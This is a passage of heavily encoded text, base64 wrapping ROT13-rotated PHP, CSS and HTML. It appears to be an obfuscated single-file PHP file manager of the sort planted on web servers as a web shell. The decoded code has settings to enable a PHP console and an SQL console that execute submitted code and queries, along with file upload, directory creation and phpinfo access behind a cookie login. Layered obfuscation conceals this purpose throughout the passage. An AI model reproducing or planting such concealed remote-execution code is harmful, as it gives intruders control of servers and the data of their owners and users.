IU1g0TUpPZGo4aFZkMlh6M0lHNmlnSTVyaHNlMHpyeDFldEk3T2xiWU9nRFNlNmpnSVBoSlNzcmlwMSsxcUcxdGlKcSsxTHNkVGFFZitTTHpYZXVHb1M1cElzOXRiM1V3eVQ0cWlsZStNM1dGMGRuaVJoSkdDTWdXejZyb3JZTTVvUWNuZHkrbktRejRBMnFkMFFxOUpnQjMxOXhLb1k1c0FYQWg3dDdNUWhuQi9DWXY4TW5zV21mMDdDMUZ4SUNFSCt5RDI3Z1lxZ0pVSytUN0U3dWc3aUNMMDdBS29KN20zL0c3V2lnZ0lOSUlBMUpvSU1zZ1crN0MzQzY2V2RoYTR5aWdnS24xQm9LVWdrakNGTi8wVVZqNjIxN2FIMUUzRkNJRUZ3OUxlNjBwQmtrKysvYzNpcWwwQUF0MUl3TW1UNHZBakVVYXg2c3BXMy9wclFHZW5xYms3ZUJSVTBrOTJVSnBxWTJjUHppWG5FY2dHemlnb0x5aDZHOGorMHFvZDNhZThFOWZzUTVqMENTeTVGaUFIbEphbjZMWUd4MnNsbTRscXlNMTlzdjc1M1RRb2JlTTc1MkNCMzJiQ28rKzZSVUd1MHhLL3YrcDdpUWlCS0NYNHFDWGwyK0hHSTd1S3pkODZLMjNkcUJiOC9jQ0dHOHI3YVlobmVleXBuN2FocmUyMXIybzM2RWhyQTg3cTlZMTU4RW8vMWdKckJHM3Fpc0E2by9zUzkvS3NTZzErcHZzOW1maDcyS3BhN2QyOEc3a3M5UlFnRHF5UTNMc0lDMWkrM0F3aTNVOWRqVXJ0ODlVcEUvcFR1TENDL2NVMXdqOVFPTCtNdzhoVFFMb2Vhd3QrQkdhdkMzWTk2c2xhRDg5eG1sbnJTLzZ2L2ZoaFNrTGlzaXdJNjlzQjBNd0ViTXNseTVCL29LbHkvcmVONmt6aTI4b1BrdTYrbEt0bVpJNzBJaWlnaktzcHFrM2liOThDRytFOFZVOGIvMnc1ZnNJRzBYczd4a3pHeC84Uk41d20vVFptWXFmTk5OTlRMeGdVRU5RL05DOE4vNlA5YzVaTk5OTldwUnVNcGpOTlBrWk5OTmZHTkRQbmFPdE5OTk5VcVJ5QUVEc3BQTmpUWnV5clROWEJOTk5PbFJ5UkRJRDRsOEpHRzJmSERFUVNzOUtHWitDVFZPVXFSUkRFOHJOc3R0bkNVaUdobEgrditOMzhOUzQ4cnNXb1hPNW1SMFZaTklwUHZFdURSOHR6ejExMWY5ek0zTXkrVXpubDVkTkw4VE9RcUdKQ3JiOVVJRXM4NzJCOWtJaTMvV2FlUGx0Vkg0MDZYL2RvZW9DM0lrby9kd1E4K0JGQWdQK0lLNkV2SGxlSmNLV1EybnJhc2xFM0tmOUEzdTVlU1ZqNlJOTERrZk5WWFpTaytwc0Z0MHF6U3grZFduRGxUaDBnaWpHMlhqUk11TkFESk1USXQzWUY4M3JoY1oyUzVsdlF4UjlqUUNNNzYyaURzSUhXdVZYRDdHUW5KOEd2bnBQQjJ5QWFxNmt3eUxpY3o0OXM1U2hBTStLT2tjYmE1T0dzSmRGbUE0TlJZTlNZZCtqRm9WWVNxS3R0aGJ2b0h3NytpaDBFWFQ5d3JMVXg2aFZSS1ZiZkRNTXZBSkxoREZEREdKU2hMUkkzbnBLR3NqcWt2Z1hlRE5qaHpMdkxCM1dtUHhJR2xRSmpmdCtRSU1FOUxBR1kzYWRBUWFVa0FPZDJzMXpwMlYxTnRhTlZFRXNUb0lEQm56cmFsRDdubDc0ZlYzbStTSkpVOW52QmV5UFNPQm5kZFliVmx2d2orTEpVSjloK1BYb1RmVnAwL2YySzBvU2NVWkFIUmhYTUlEUC8yazB6WjAwQzh2cXNOTnJnbTJSR2pUNXNuODdDYWJmaHVMT0JsYjhwZ2daV0orODNxeWkvZ1Z5M1MrbzRQTGxjMkdrajJJSGpOTk5OTlJ5U0d4RmhEelBQIik7DQp9DQoNCi5zdnlyIHsNCiAgICBvbnB4dGViaGFxLXZ6bnRyOiBoZXkoInFuZ246dnpudHIvY2F0O29uZnI2NCx2SU9CRWowWFR0Yk5OTk5BRkh1Ukh0Tk5OT05OTk5ORFBOTE5OTk5zOC85dU5OTlhHMnlRRDFPRG5UOTBvM0FibzNOdEZIQVFWVU9sbzJNY29USE5OVXduYUlBYUlTQ2NTdzMzM2lFUEY0dk55UmdpSHVIVlZTV1B2NE5IeEZMZFZEeERGYnR1YnF4SUhwUkVFSEhSVDh2dHZOQkJ3YlBaU0lSZlFWYlgyTnN4Vm5YQnQ2QlZ2ZmU3NEtod245bjg5K29BL2VLS0NocmY4NTJtbWpzTlBObEpGUUFFQUxOWmRIVnJSclBRazhHVDRyRGhEVlJYV1VOTlJOdm1NUFNtL0ZaT05DdStDUWplVmZOVWl0Tk9yQVpZUE5RTkdNaU5aT2xVL2ovZERjeXBOTFBSTnBPMHhHdVlQVk5ITlJPNnd4WHpOUk9UTkxQcXpQTUdOWE5STlRRWUwyWXdOU05nTlROYXMrb0dOVlBxK1d5N05ET295UFJJTm5QRU5QTkdNTHVSTlR0N05YbUNJYmNTTlN0ak5PRXpGOEQ1TkF0Z05RT1dJMk1WTllQM05aUUJSTmhsTk50Wk5RT0V2VkhjTk5FN05UUVZWbEE0TlZGTU5PRVQ4eXA4OEZoaFJCcGROTk80em9WOGhGRDVFTFNvUFAxa08xcUtZdTRibXh4S1hrRDJMRFd1enhOaGphek1UR1hPQU4vdDg4ak5OWFBFU0VVdHQvQzlyWjRCZWY3QkFiNjJReThnNmU4VC9sV3ZMaEMrNXArZXBSTk5OQlMwc2dVK1lQK21UYk43T2JPZy9kVnk3dEViS3RodHFzcllNZVZDRFlITmJCYW5JL0FqK1U0OENSSnV4WWFNMnJLeDVBdVhrUldvTHBjS3NzNWFqeS9OSS8xZitLNDgvQ3MxNFk3dldWUmxLTFNVT0N3dGpmbTBHWEhwbTVWV3VUWXA1YjlVL1lwWS8vanEwbFlSRkpYNUpQYkg0MVJGcEw1UnpibW1aZEh2dkhYRlhwSHkwaTl4NGc4ZitqWiszbUhOZlRiK05LaEVZbnVxTGpDMkZscERKVUdONGlwTk5DWDdvOFVIWE50UXRUdlE0cDkzLys4Ly9IcnRXRFBOTXh6RnBETk5LeER4WXlHWGZtL1VQTk5ORVhQT1hlT09UL0dPVFBtTk91bU9PcW1PUC9rdEFiRVBXWkdQRHVPUFB6Rk5VVVd0WG5sUER2dlRtb05xWHpOaTFSTnFBWk9FblZuR3BONGhqeUo0UXcxalEvY3VQVzdPWFlsT1BERU9sTnRHTEZVbnZOU3Z2eXR3d3R0S3pMSzRWcFNWT09YWVdQUVd2T0VFVnhoRUFIdGtIYmNIVlNJVlVzVjlwdFY1dTFrVGhjUjdsTk5sdGlsVGlScGt5VlRsSEczSFFZSVFobnQzVGJFVGJ0aURNVURremI4SmJXaURwZURuQ0xqMmJyc0RkMnRDMmI4K0Q4cGpqQnRMT21DUm9RTmhrZkFQZkd0ZlBNQXdsN1J2ZU5sZWt1ZGpJZGpRaDRhMUw4K2txakRGdEhLTlBHTFJxMFZ0TEU1T0ZTdVpKUjdMRlh0dFVQRDBScWJXQWp4UXVTVVBXbFhHZFJoMFdlYkUrcERMTHdWa3UxdVZZUENKUmI4R1lrTzd2UkNSQWxERnZIWmxXN3pETnh6a2NTR0ZSZ1dUMHo1RlYreGZkTWYwRk9id3g4YW5NVGhsT216SFlQTmVsVkt4YXJHUTVRQ3hUK0R1OHlmWGFKV05wbkc0SCtWYkhmY2RGdWF5UkJIMDVETXl6UVdPSW5CbkhnMmJiSURFQUw5bkRkMnVneVhpSExyYlJtRTF6d2FBdGtNV0Y2SmdiY0tHVHp0S25DcWNlK3UwaHVVcXlFNUJ5OU9LMGZpY0Urdks2TkMwcWpqQXV1SlFrNHVhWE96b1ROcExNa3kzVFgrTEdYTE0wNGZNazFEakFtVWV6QnJNUTV5aUlJdGRndmM4U01VWFBjSVh5Rm5JVGxiaUlYemRjZGVyZHRnSTgxS1lJVitjS3lBOWV4TUlaMUN3ZERhSHlkZ0lkYzFENjFab0gycmNCNnZVZHpyYm8xRC9jVTVNL0x4VEpwQVpqMDlRY1NUdGZJL3dpWkx0UDJaTWYzdGZWSmZBZDRNMXRHS1JXZVVBMktrMlhlaEwvRTI3dm0yZGRuUjVEbUFYWjFybUhpQkhNdzhVNDV1aytXazBHdGFhWFhySzgzNlgzdUdpWHJWY1Q2TDBHWXhrTUlrZWRjbkt5eXZlRlhnRWQwc2VpR25oN25ycWNlMVNoMWE3dEQ1T2swYmFLUHFVTTQvQk9NM2FIOXlHM25wWGNrTUFDR2UxZXY2ZG42SG9ib2dScTc5aGMrNkxhZTVydFc1Wm82c3JybzNhK3VrOVkvMUgvSjM2Yy9JVVFTdFRmamp4T2dmWm11dDhrR0lrb21qcVk4c284SVNRS3BBTkQ2SXV5SlRLNExGRWhxUjhiOUlUd0hMQ3dUYVRLQlp4NDIzVG9wbndXdEx6VkZNWUdyY0E3Y2NGR296elhuTDdHUWdaazgzWm1uWUExY3gxem0wazFtWWF6K3JvMTVpc2cyT25yU2JmZ2R2MmhUSVdmaEVuY3lhaGdla2h1SWI1Sm5JTElJY3FmMG5nYW4weTFlaGdoNnBFYzd5QngwNmVhZ01hajdRa2dmejJkb3BNZkJLTE9naGhnejIyc0pTYUx1cWFnOEpoais2R2lNQTloYTJBL0cwVVFMc01RZGZxSnUxK3A3RWxTUWNKQmc2bm1jbWhDMzNTOVdvY1kycUxta1FDMlFDd2d1Q1lYcEVjYUlCbzAwcWFTMnI1cDRDbXZWaFdGNFlZWWNwK1ljZm9rZzNWaXJFWHFDSWtLclM2MGlKcXo3Qm9qaDJiMjYvaEFoNWM3YnNwYThqMGFsenJKR0FtMFpDVkQrT0U1cVIvUDUrSVpUaXNlVTVDRDArT003S2FWbDl3WTVTS2VxcmpnNkkzZGlxdTdrcCs5dzVsYStaKzRtajMzd1lySkkvWkE4UDNsWXNZRzhBaWF5K1MzMEEvVi85eC8zZS8wRFBhdFBIT01qQld0SFRPSmpZNytVYzhWbytCQ21lb01zbmwycjFPd1hQNURFSU93NFhndGhLT2VGU2JsQmxEZUZVMzU1d0J4cDVjUWJJRHNod0owTnF1NXpUWWozNFpXNEpVdUlyVEM0NWp2U3RuMEdUS0FLc0UzUkFtMzBHNkVXTVIzY2dhWkg4NWVsMVhBRmIrZHY1ZENBYjNod0Y2QzhMaE15YVoxSXZxSlJ5ZkZrajVZdmRoQXo1ZmlnLzg3c0JVNGMzdlArQTdTNXRpbFMxanJuVUJqaUZTY2tuY1l1VmZCY01OR1Z1QkJXR2pERU5kZE9uWldzVkdxbEpCUGFhUFVwV2FWdi9FQWdUVjJSQXBYdTVCOHh0ZEdLZEY3V1Q4QUt4eGtHQnlZQko1dVByY3hZa1pRSG1xem1kclNjYzJWVDBsQ0dkOVpMQkZ4TU9rRGRidUdNQjJNK2NhNXpNMmw2a3l1b1kra0o2WWdsOHJ5RHNXbjdCRGVOSU1ZRGQyRGRvYklTYmIxbGJVZnpxeUkybi9tTGFYQk1uZWF2aUE3cGxtbGdoREE1bWlhLy9nUmZWRjRNWDJjTE1ZSWwwcUpCbjllVGI1Zndra3JxZlg0a0hTWDRNSk9kajhoVmQyWHozSUc2aWdJNXJoc2UwenJ4MWV0STdPbGJZT2dEU2U2amdJUGhKU3NyaXAxKzFxRzF0aUpxKzFMc2RUYUVmK1NMelhldUdvUzVwSXM5dGIzVXd5VDRxaWxlK00zV0YwZG5pUmhKR0NNZ1d6NnJvcllNNW9RY25keStuS1F6NEEycWQwUXE5SmdCMzE5eEtvWTVzQVhBaDd0N01RaG5CL0NZdjhNbnNXbWYwN0MxRnhJQ0VIK3lEMjdnWXFnSlVLK1Q3RTd1ZzdpQ0wwN0FLb0o3bTMvRzdXaWdnSU5JSUExSm9JTXNnVys3QzNDNjZXZGhhNHlpZ2dLbjFCb0tVZ2tqQ0ZOLzBVVmo2MjE3YUgxRTNGQ0lFRnc5TGU2MHBCa2srKy9jM2lxbDBBQXQxSXdNbVQ0dkFqRVVheDZzcFczL3ByUUdlbnFiazdlQlJVMGs5MlVKcHFZMmNQemlYbkVjZ0d6aWdvTHloNkc4aiswcW9kM2FlOEU5ZnNRNWowQ1N5NUZpQUhsSmFuNkxZR3gyc2xtNGxxeU0xOXN2NzUzVFFvYmVNNzUyQ0IzMmJDbysrNlJVR3UweEsvditwN2lRaUJLQ1g0cUNYbDIrSEdJN3VLemQ4NksyM2RxQmI4L2NDR0c4cjdhWWhuZWV5cG43YWhyZTIxcjJvMzZFaHJBODdxOVkxNThFby8xZ0pyQkczcWlzQTZvL3NTOS9Lc1NnMStwdnM5bWZoNzJLcGE3ZDI4RzdrczlSUWdEcXlRM0xzSUMxaSszQXdpM1U5ZGpVcnQ4OVVwRS9wVHVMQ0MvY1Uxd2o5UU9MK013OGhUUUxvZWF3dCtCR2F2QzNZOTZzbGFEODl4bWxuclMvNnYvZmhoU2tMaXNpd0k2OXNCME13RWJNc2x5NUIvb0tseS9yZU42a3ppMjhvUGt1NitsS3RtWkk3MElpaWdqS3NwcWszaWI5OENHK0U4VlU4Yi8ydzVmc0lHMFhzN3hrekd4LzhSTjV3bS9UWm1ZcWZOTk5OVEx4Z1VFTlEvTkM4Ti82UDljNVpOTk5OV3BSdU1wak5OUGtaTk5OZkdORFBuYU90Tk5OTlVxUnlBRURzcFBOalRaR3Q1S1JSR05OTk84eHlSRElENGwzSkZaSi9HRE92VGErKzdmazNLcXFaTlZ6MGF4UGJ1RUR2V1FGUmtxTnkvTkdSalZDUm14U3ZMTFRFeWxabFRrWllSa1N1T2xsOU5QTm5uMHRMYVFieTlrOVFMdklmNDZxQ2F4L2orOTk3M2F0UVcvaTcrK2xOVlB3K3NWMFVOLzVNbVFoODltd3pCd2I2bHNlLy9qTldPZTlyN1Q0THVrSkZQRVNVOTAyZElNcWFMazNTOFFWREpWWmZsMWNWUktrRmJac0lXNTBTclFYSGVwVHBqTklQTkFSMWNnSWRiWGRkWFpubytlaU11aVpvYTFsL2p0NnFWZ1ZuVk5UTk9HeDVCRldWUjlFNE5SSFNJcHA3SUNzOTJqQ29neVVtM1BFZyt3ZGNGQjJ2MzI4RWtLQWdydUx0VmNlS0IrQkFtZXkzK3RnUk5SSjBQdWZadUpNTDE3eTVRd0JLMDBraGg3Ym01UkczeEh6cndPZ3JOR2RxUVVacmpSWDlQQ1FOL3NaSWY2a25vMjNnYVZpMlV0L1M0M1dsNDk0dEFUVTU0RnNzVE9kc2V3MHluRjNVUURNZHp1VFRWSjhFSmtzc2ErUWkyNTFnK2dyL0UzcmF1UkhGSklEQVRia1M1YWhBS2tYWFRlanNpUFVvaTRYODhqenZXNmFYandFdndYWlZMRG16c1Y0aWJFVkR2M2hNMzltNW96NTBtblVLZDRpNDFMUWRxdHR1RnlidW1OWmx6QnFxaTd6VFpIV015VjlNZGpSMFVkYnYxUzE1dVdJZWdQa3IrTnh0THV0R0pWZk10YnR0RWpJYzdMSlBlbGt2d1NKTmxUTmxyVklYYnBsWUoxYitiNmhwWThVenJtNFFrSys4cU5ZVDdacklITk5OTk5SeVNHeEZoRHpQUCIpOw0KfQ0KPD89c3pfdWJ6cl9mZ2x5cigpPz4NCi52enQgew0KCW9ucHh0ZWJoYXEtdnpudHI6IA0KaGV5KCJxbmduOnZ6bnRyL2NhdDtvbmZyNjQsdklPQkVqMFhUdGJOTk5OQUZIdVJIdE5OTk9OTk5OTkRQTlpOTk5OYllEOUdOTk5OT1RxT0dIUk5OWC9WQWpKWDZETk5OcVNER1NFUzdyM2cvczM5Y1crcytwV253SThkNnJhY3hUVnovZlNCLysyQjM5M3A1aG96L2Zrb3EyOWx2enFhclN0NjVCR3gybWJMNmhVdjFtTkYxcGVXZlVmMmFsdGIzQWVvMllPS2VMZ3oyYzVOLyt1S2NiRWRjWEJ4amV2NDYraWUwWlQzNkxmbTZod2N6VjZOYW1IbGpZKy96S0lGelZPQThvamp3MUlPbFlUbW4xTVcwQVFEd0xGTy85QXdqTTZQakhOZmt4MG9lTWxKajdjelRNNE42WWdxeFVxcy8rQThsYmoyN281Sjg3RUFZTVkvMm92QzdqTk4vL1RXeTVySzRBc0xmbm5ZdGM2dTFvK2cvKzZFNjhTcjg5bHB2ek1xL2hEaTNlOUFoY1BPOTlJMjVuMXBJV29vYVV1Qi84a0YrWk9uOHNRanYyV3Y0OGR2LytkQnFJVm1mMzRrLy9UQktWbUxjNUZDL2ZrdGRjdlZwYysvZnZEY3B6Y2ZnbmxmbUZOQWhYWEc5Q0cwNGhZdmpWeGw4WXFSK2ZJSmlkbno4ci9pWTVWTStleVU4cEF0MDhQcG03bnE4aVlsOVlnSDFkbEhoTTQrZTUxMis4Zi9qSGNZM3EzcWs3SjFzVEFuLzg5TTJwc1UrZjVhNkJ3Ym8xTGdmN1htMTlzS2pWdDRjMXFBK0N3NG1ZRTArOGNxN2ZnZXVYTmYvOXV3LzlPSTFYZ3NnWUYxYWMycUx5V0ZNU0lJNVlFSnVSU081ZXVNLzlXZDBVZ0cvL1BGeFZkVzZYNVErWUFBb3lJSWl3WjA0N01abTdyMzFrUlQvLy8vZ1h0aDZqTk5OV2cwSHg1Ry8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy9qUElJY1hMTk5OTlRLRVNKVUVHbzJNMHEyU2xNRE9PTVQ5dk1GT1dvSlNhTUlXeUxKRTVwcHl5Q05OTk5BTVdFUlNIWFNBd3pYSnZDRGZNWlprdnpmZENYY05vMlpmTk1Bd1lCanhtdHRJeldMYWxjZi9EUjU5clhQUmdPdW5MU0Vzd01oR3VVMjd5TDZ4ZE9rTGJlRi9CWlA1anZVTXh5MkRQUElHeEErZ2VnU3c0TUZjWnpualFTT1EweVBibGFtTU95MWFWV3c1NVJ5T04wOWNxaXA5b2hHMUZMWExPSmoxRFZQMGJBTGZ3ZVNVV2NGeGlFTGZPWFBQb1o5VVlBOWdKZW9kYXdISFRNVDFOdVRoVktNRW1jRHkzblRqUTJPMnBNTTJtUmJZN0oraDZkbE5oYU1LVkJaaURlU2x4ZGpHdlNtT0RBQkt3NERYbWJOWG1ud2dMVkRqTnlpZ2N5M0k1cDhaTk5OTk5GSElCRVg1UExWVj0iKTsNCn0NCkB6cnF2biBmcGVycmEgbmFxICh6bmstanZxZ3U6NzIwY2spew0KICBnbm95cntxdmZjeW5sOm95YnB4O30NCiAgICAjc3pfZ25veXIgZ3F7cXZmY3lubDp2YXl2YXI7c3libmc6eXJzZzt9DQogICAgI3N6X2dub3lyIGdvYnFsIGdxOnN2ZWZnLXB1dnlxe2p2cWd1OjEwMCU7Y25xcXZhdDowO30NCiAgICAjc3pfZ25veXIgZ29icWwgZ2U6YWd1LXB1dnlxKDJhKzEpe29ucHh0ZWJoYXEtcGJ5YmU6I1JTUlNSUzt9DQogICAgI3N6X2dub3lyIGdvYnFsIGdlOmFndS1wdXZ5cSgyYSl7b25weHRlYmhhcS1wYnliZTojUVJSM1I3O30NCiAgICAjc3pfZ25veXIgZ2V7cXZmY3lubDpveWJweDtzeWJuZzp5cnNnO3B5cm5lOnlyc2c7anZxZ3U6MTAwJTt9DQoJI3VybnFyZV9nbm95ciAuZWJqMiwgI3VybnFyZV9nbm95ciAuZWJqMyB7cXZmY3lubDp2YXl2YXI7c3libmc6eXJzZztqdnFndToxMDAlO2NucXF2YXQ6MDt9DQoJI3VybnFyZV9nbm95ciBnbm95ciBncSB7cXZmY3lubDp2YXl2YXI7c3libmc6eXJzZzt9DQp9DQo8L2ZnbHlyPg0KPC91cm5xPg0KPG9icWw+DQo8P2N1Yw0KJGhleV92YXAgPSAnP3N6PWdlaHInOw0KdnMgKHZmZnJnKCRfQ0JGR1snZmR5ZWhhJ10pJiYhcnpjZ2woJHN6X3BiYXN2dFsncmFub3lyX2ZkeV9wYmFmYnlyJ10pKXsNCgkkZXJmID0gcnpjZ2woJF9DQkZHWydmZHknXSkgPyAnJyA6ICRfQ0JGR1snZmR5J107DQoJJGVyZl95YXQgPSAnZmR5JzsNCn0gcnlmcnZzICh2ZmZyZygkX0NCRkdbJ2N1Y2VoYSddKSYmIXJ6Y2dsKCRzel9wYmFzdnRbJ3Jhbm95cl9jdWNfcGJhZmJ5ciddKSl7DQoJJGVyZiA9IHJ6Y2dsKCRfQ0JGR1snY3VjJ10pID8gJycgOiAkX0NCRkdbJ2N1YyddOw0KCSRlcmZfeWF0ID0gJ2N1Yyc7DQp9IA0KdnMgKHZmZnJnKCRfVFJHWydzel9mcmdndmF0ZiddKSkgew0KCXJwdWIgJyANCjxnbm95ciBweW5mZj0ianVieXIiPg0KPHNiZXogenJndWJxPSJjYmZnIiBucGd2YmE9IiI+DQo8Z2U+PGd1IHBieWZjbmE9IjIiPicuX18oJ1N2eXIgem5hbnRyZScpLicgLSAnLl9fKCdGcmdndmF0ZicpLic8L2d1PjwvZ2U+DQonLihyemNnbCgkemZ0KT8nJzonPGdlPjxncSBweW5mZj0iZWJqMiIgcGJ5ZmNuYT0iMiI+Jy4kemZ0Lic8L2dxPjwvZ2U+JykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqIGZ2bXIgYnMgZ3VyIHNieXFyZScpLCdmdWJqX3F2ZV9mdm1yJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdjdnBnaGVyZicpLCdmdWJqX3Z6dCcpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgJy5fXygnWm54ciBxdmVycGdiZWwnKSwnem54cl9xdmVycGdiZWwnKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nICcuX18oJ0FyaiBzdnlyJyksJ2Fyal9zdnlyJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdIY3libnEnKSwnaGN5Ym5xX3N2eXInKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nIENVQyBpcmVmdmJhJywnZnVial9jdWNfaXJlJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBDVUMgdmF2JywnZnVial9jdWNfdmF2JykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyAnLl9fKCdUcmFyZW5ndmJhIGd2enInKSwnZnVial90ZycpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicga3lmJywnZnVial9reWYnKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nIENVQyAnLl9fKCdQYmFmYnlyJyksJ3Jhbm95cl9jdWNfcGJhZmJ5cicpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnRnViaicpLicgRkRZICcuX18oJ1BiYWZieXInKSwncmFub3lyX2ZkeV9wYmFmYnlyJykuJw0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9InN6X3BiYXN2dFtmZHlfZnJlaXJlXSIgaW55aHI9IicuJHN6X3BiYXN2dFsnZmR5X2ZyZWlyZSddLiciIGdsY3I9Imdya2ciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj5GRFkgZnJlaXJlPC9ncT48L2dlPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9InN6X3BiYXN2dFtmZHlfaGZyZWFuenJdIiBpbnlocj0iJy4kc3pfcGJhc3Z0WydmZHlfaGZyZWFuenInXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+RkRZIGhmcmU8L2dxPjwvZ2U+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfcGJhc3Z0W2ZkeV9jbmZmamJlcV0iIGlueWhyPSInLiRzel9wYmFzdnRbJ2ZkeV9jbmZmamJlcSddLiciIGdsY3I9Imdya2ciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj5GRFkgY25mZmpiZXE8L2dxPjwvZ2U+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfcGJhc3Z0W2ZkeV9xb10iIGlueWhyPSInLiRzel9wYmFzdnRbJ2ZkeV9xbyddLiciIGdsY3I9Imdya2ciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj5GRFkgUU88L2dxPjwvZ2U+DQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nIENlYmtsJywncmFub3lyX2NlYmtsJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdGdWJqJykuJyBjdWN2YXNiKCknLCdmdWJqX2N1Y3Zhc2InKS4nDQonLnN6X3BiYXN2dF9wdXJweG9ia19lYmooX18oJ0Z1YmonKS4nICcuX18oJ0ZyZ2d2YXRmJyksJ3N6X2ZyZ2d2YXRmJykuJw0KJy5zel9wYmFzdnRfcHVycHhvYmtfZWJqKF9fKCdFcmZnYmVyIHN2eXIgZ3Z6ciBuc2dyZSBycXZndmF0JyksJ2VyZmdiZXJfZ3Z6cicpLicNCicuc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaihfXygnU3Z5ciB6bmFudHJlJykuJzogJy5fXygnRXJmZ2JlciBzdnlyIGd2enIgbnNncmUgcnF2Z3ZhdCcpLCdzel9lcmZnYmVyX2d2enInKS4nDQo8Z2U+PGdxIHB5bmZmPSJlYmozIj48biB1ZXJzPSInLnN6X2hleSgpLic/c3pfZnJnZ3ZhdGY9Z2VociZzel9wYmFzdnRfcXJ5cmdyPWdlaHIiPicuX18oJ0VyZnJnIGZyZ2d2YXRmJykuJzwvbj48L2dxPjxncSBweW5mZj0iZWJqMyI+PHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9IicuX18oJ0ZuaXInKS4nIiBhbnpyPSJzel9wYmFzdnRbc3pfZnJnX2Zob3p2Z10iPjwvZ3E+PC9nZT4NCjwvc2Jlej4NCjwvZ25veXI+DQo8Z25veXI+DQo8c2JleiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iIj4NCjxnZT48Z3UgcGJ5ZmNuYT0iMiI+Jy5fXygnRnJnZ3ZhdGYnKS4nIC0gJy5fXygnTmhndWJldm1uZ3ZiYScpLic8L2d1PjwvZ2U+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfeWJ0dmFbbmhndWJldm1yXSIgaW55aHI9IjEiICcuKCRuaGd1WyduaGd1YmV2bXInXT8ncHVycHhycSc6JycpLicgZ2xjcj0icHVycHhvYmsiIHZxPSJuaGd1Ij48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+PHlub3J5IHNiZT0ibmhndSI+Jy5fXygnTmhndWJldm1uZ3ZiYScpLic8L3lub3J5PjwvZ3E+PC9nZT4NCjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSJzel95YnR2YVt5YnR2YV0iIGlueWhyPSInLiRuaGd1Wyd5YnR2YSddLiciIGdsY3I9Imdya2ciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj4nLl9fKCdZYnR2YScpLic8L2dxPjwvZ2U+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfeWJ0dmFbY25mZmpiZXFdIiBpbnlocj0iJy4kbmhndVsnY25mZmpiZXEnXS4nIiBnbGNyPSJncmtnIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+Jy5fXygnQ25mZmpiZXEnKS4nPC9ncT48L2dlPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9InN6X3lidHZhW3BiYnh2cl9hbnpyXSIgaW55aHI9IicuJG5oZ3VbJ3BiYnh2cl9hbnpyJ10uJyIgZ2xjcj0iZ3JrZyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPicuX18oJ1BiYnh2cicpLic8L2dxPjwvZ2U+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0ic3pfeWJ0dmFbcW5sZl9uaGd1YmV2bW5ndmJhXSIgaW55aHI9IicuJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddLiciIGdsY3I9Imdya2ciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj4nLl9fKCdRbmxmJykuJzwvZ3E+PC9nZT4NCjxnZT48Z3EgcHluZmY9ImViajEiPjxncmtnbmVybiBhbnpyPSJzel95YnR2YVtmcGV2Y2ddIiBwYnlmPSIzNSIgZWJqZj0iNyIgcHluZmY9Imdya2duZXJuX3ZhY2hnIiB2cT0ibmhndV9mcGV2Y2ciPicuJG5oZ3VbJ2ZwZXZjZyddLic8L2dya2duZXJuPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj4nLl9fKCdGcGV2Y2cnKS4nPC9ncT48L2dlPg0KPGdlPjxncSBwYnlmY25hPSIyIiBweW5mZj0iZWJqMyI+PHZhY2hnIGdsY3